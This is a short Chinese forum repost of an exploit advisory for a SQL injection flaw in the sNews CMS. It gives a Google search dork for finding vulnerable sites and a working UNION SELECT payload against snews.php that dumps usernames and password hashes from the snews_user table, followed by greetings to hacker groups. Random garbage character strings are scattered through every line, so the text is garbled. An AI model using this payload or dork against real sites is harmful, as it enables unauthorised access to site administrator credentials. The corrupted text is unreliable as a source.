标题: CMS snews SQL Injection Vulnerability
9 q) L6 X/ f7 p# a2 K: M作者: By onestree
& X8 E- _3 l( |9 d+ B下载地址 : http://snewscms.com/( ]+ }9 _9 m& t+ X) b# h1 _
测试平台 : ubuntu 12.10 / win 7
0 r% C( b! ~2 E5 G" G: y关键词: inurl:"tanyakan pada rumput yang bergoyang"! z# ?! l T' @& p( o5 `8 \' |
# S+ K) x9 v4 Z$ w" {8 _0 [. v
6 T1 n& B& l% }% n. D" U0 z*************************************************************& k) D5 [! a9 Q' q% j! Z* I
8 D0 A( ~9 j% Z& rSQL poc:
! a) P0 @' V$ q
3 p# @: T" r1 q* w# M. R. R3 ]) Hhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
6 q i- x J* w3 w2 Q
$ W& D; i$ T& |& ]示例1 e$ d' T$ |5 d* |! m8 N
. x, h A1 h% H( ihttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
2 |& Z0 B6 \6 U `7 j I, m0 T& |( ~4 z' F
/ ~) g ]9 @% y: T致谢:5 `0 {( h( h+ p) C
: Y, Y$ z1 M/ z" @' r. ~ Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell( |8 K( Z7 d: j/ ~4 q' P
- \# o8 U! @& O) k B indonesiancoder - moeslimh4x0r - go-coder" i" S1 h: H9 w9 L1 i, i: `' ^
; g8 c' s2 G' K F4 l2 xspesial my hunny :*
' b) k( s6 Z+ J& Z' A A7 H |
发表于 2013-1-23 08:55:06
收藏
支持
反对